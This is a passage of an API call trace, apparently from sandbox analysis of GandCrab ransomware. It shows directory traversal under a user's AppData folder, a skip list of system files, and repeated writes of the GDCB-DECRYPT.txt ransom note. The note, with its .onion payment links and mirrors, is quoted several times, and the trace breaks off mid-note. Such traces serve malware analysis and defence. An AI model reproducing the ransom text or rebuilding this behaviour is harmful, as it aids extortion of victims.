lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*" [0053.745] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b7eb0 [0053.745] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.745] FindNextFileW (in: hFindFile=0x5b7eb0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.745] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.745] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.745] FindNextFileW (in: hFindFile=0x5b7eb0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.745] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.745] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.745] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt" [0053.746] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.746] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt") returned 93 [0053.746] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt") returned 93 [0053.746] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt") returned 93 [0053.746] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt") returned 93 [0053.746] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.746] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.746] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.746] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.746] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.746] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.746] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.746] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.746] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.746] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.746] FindNextFileW (in: hFindFile=0x5b7eb0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.746] lstrcmpW (lpString1="support", lpString2=".") returned 1 [0053.746] lstrcmpW (lpString1="support", lpString2="..") returned 1 [0053.746] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="support" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0053.746] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\" [0053.746] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.746] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.746] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.746] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.747] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.747] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.747] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned 85 [0053.747] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*" [0053.747] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b7f70 [0053.747] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.747] FindNextFileW (in: hFindFile=0x5b7f70, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.747] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.747] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.747] FindNextFileW (in: hFindFile=0x5b7f70, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.747] lstrcmpW (lpString1="flashplayer", lpString2=".") returned 1 [0053.747] lstrcmpW (lpString1="flashplayer", lpString2="..") returned 1 [0053.747] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="flashplayer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0053.747] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned 96 [0053.747] lstrcmpW (lpString1=".com\\support\\flashplayer", lpString2=".sql") returned -1 [0053.747] FindNextFileW (in: hFindFile=0x5b7f70, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0053.747] FindClose (in: hFindFile=0x5b7f70 | out: hFindFile=0x5b7f70) returned 1 [0053.747] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.747] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\\\GDCB-DECRYPT.txt") returned 102 [0053.747] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0053.748] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.748] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0053.748] CloseHandle (hObject=0x500) returned 1 [0053.749] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.749] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\") returned 85 [0053.749] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*" [0053.749] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b8430 [0053.749] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.749] FindNextFileW (in: hFindFile=0x5b8430, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.749] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.749] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.749] FindNextFileW (in: hFindFile=0x5b8430, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.749] lstrcmpW (lpString1="flashplayer", lpString2=".") returned 1 [0053.749] lstrcmpW (lpString1="flashplayer", lpString2="..") returned 1 [0053.749] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="flashplayer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" [0053.749] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\" [0053.749] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.749] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.749] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.749] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.749] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.749] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned 97 [0053.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*" [0053.750] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b83f0 [0053.750] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.750] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0053.750] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.750] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.750] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0053.750] lstrcmpW (lpString1="sys", lpString2=".") returned 1 [0053.750] lstrcmpW (lpString1="sys", lpString2="..") returned 1 [0053.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="sys" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0053.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned 100 [0053.750] lstrcmpW (lpString1=".com\\support\\flashplayer\\sys", lpString2=".sql") returned -1 [0053.750] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0053.750] FindClose (in: hFindFile=0x5b83f0 | out: hFindFile=0x5b83f0) returned 1 [0053.750] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.750] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\\\GDCB-DECRYPT.txt") returned 114 [0053.750] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0053.752] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.752] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0053.753] CloseHandle (hObject=0x504) returned 1 [0053.753] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.753] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\") returned 97 [0053.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*" [0053.753] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b83b0 [0053.753] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.753] FindNextFileW (in: hFindFile=0x5b83b0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0053.753] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.753] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.753] FindNextFileW (in: hFindFile=0x5b83b0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0053.753] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.753] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.753] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt" [0053.753] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.754] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt") returned 113 [0053.754] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt") returned 113 [0053.754] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt") returned 113 [0053.754] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\GDCB-DECRYPT.txt") returned 113 [0053.754] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.754] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.754] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.754] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.754] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.754] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.754] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.754] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.754] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.754] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.754] FindNextFileW (in: hFindFile=0x5b83b0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0053.754] lstrcmpW (lpString1="sys", lpString2=".") returned 1 [0053.754] lstrcmpW (lpString1="sys", lpString2="..") returned 1 [0053.754] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpString2="sys" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" [0053.754] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0053.754] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.754] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.754] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.755] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned 101 [0053.755] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*" [0053.755] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5b8530 [0053.755] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.755] FindNextFileW (in: hFindFile=0x5b8530, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0053.755] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.755] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.755] FindNextFileW (in: hFindFile=0x5b8530, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0053.755] lstrcmpW (lpString1="settings.sol", lpString2=".") returned 1 [0053.755] lstrcmpW (lpString1="settings.sol", lpString2="..") returned 1 [0053.755] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="settings.sol" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" [0053.755] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 113 [0053.755] lstrcmpW (lpString1=".sol", lpString2=".sql") returned -1 [0053.755] FindNextFileW (in: hFindFile=0x5b8530, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0053.755] FindClose (in: hFindFile=0x5b8530 | out: hFindFile=0x5b8530) returned 1 [0053.755] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.755] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\\\GDCB-DECRYPT.txt") returned 118 [0053.755] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0053.756] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. 